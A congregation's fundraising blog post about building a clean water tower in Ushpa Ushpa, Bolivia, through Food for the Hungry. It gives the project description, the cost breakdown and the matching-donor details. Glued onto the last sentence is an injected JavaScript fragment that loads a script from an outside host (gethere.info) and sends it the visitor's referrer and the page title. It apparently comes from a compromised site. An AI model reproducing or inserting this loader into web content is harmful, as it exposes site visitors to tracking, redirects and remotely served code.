Throughout the month of March, we will be raising money to construct a clean water tower in Ushpa Ushpa, Bolivia as part of our ten-year Community-to-Community (C2C) relationship through Food for the Hungry (FH). Here is a description of the project from FH (translated from Spanish):
One of the main health and nutrition problems in Ushpa Ushpa is the collection and stock of water, due to the lack of potable water and the only source for that liquid are the water trucks that work in the area. Stocking the water is hard for most of the families as they use precarious water plastic or tin barrels of 160 L, which do not guarantee the purity of the water; besides, it is not enough to supply water for all the family members. These aspects contribute to increase common illnesses like acute respiratory infections and acute diarrhea diseases that greatly affect the children of the community and their nutrition.
This project aims to consistently decrease malnutrition in children and youth of the area, reduce the risk to get infectious diseases and improve general heath and education in Ushpa Ushpa.
The project will ensure the access to the service of clean water for all the population of Loma Pampa’s community, contributing to the improvement of life quality of families through the wholistic work among leaders of the community, the population and Food for the Hungry.
This project will include three components:
1 Construction of a water tank and the expansion of the main water distribution duct;
2.Training and teaching of good practices of hygiene and healthy habits,
3. Sustainability of the system through the training on its operations , management and maintenance of the water system.
The community leaders will assume responsibilities in order to guaranty the execution of works, and training overseeing the wholistic well-being of children. They will create a committee focused to carry out a sustainability plan for the water system in terms of operations, maintenance and management!
The number of direct and indirect beneficiaries of the project:
Direct and indirect beneficiaries: 1500 people (Including more than 200 children under 5)
The estimated time to complete this project once the funding is in place is: From 6-12 months
The total cost of the project is $58,000. However, the people of Ushpa Ushpa have committed to contributing $32,000 and FH is only asking us to contribute $26,000. Further, an anonymous donor has volunteered to match funds up to $13,000, meaning that we only need to raise $13,000 for the project!
I am excited about what this project will do for the people of Ushpa Ushpa, but I am even more excited about what some of these numbers mean. In 2011, we did a similar clean water project that involved distributing water filters to the residents of Ushpa Ushpa. The total cost of that project was $21,000, and we funded $19,000 of it. In five years, Ushpa Ushpa has gone from contributing $2,000 (roughly 10%) toward the project to contributing $32,000 (roughly 55%). That speaks volumes to the economic development that has occurred in the area in part because of FH’s work there. That’s awesome!
Finally, the entire Easter offering will go to missions and outreach, including the C2C work and other organizations that we support.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;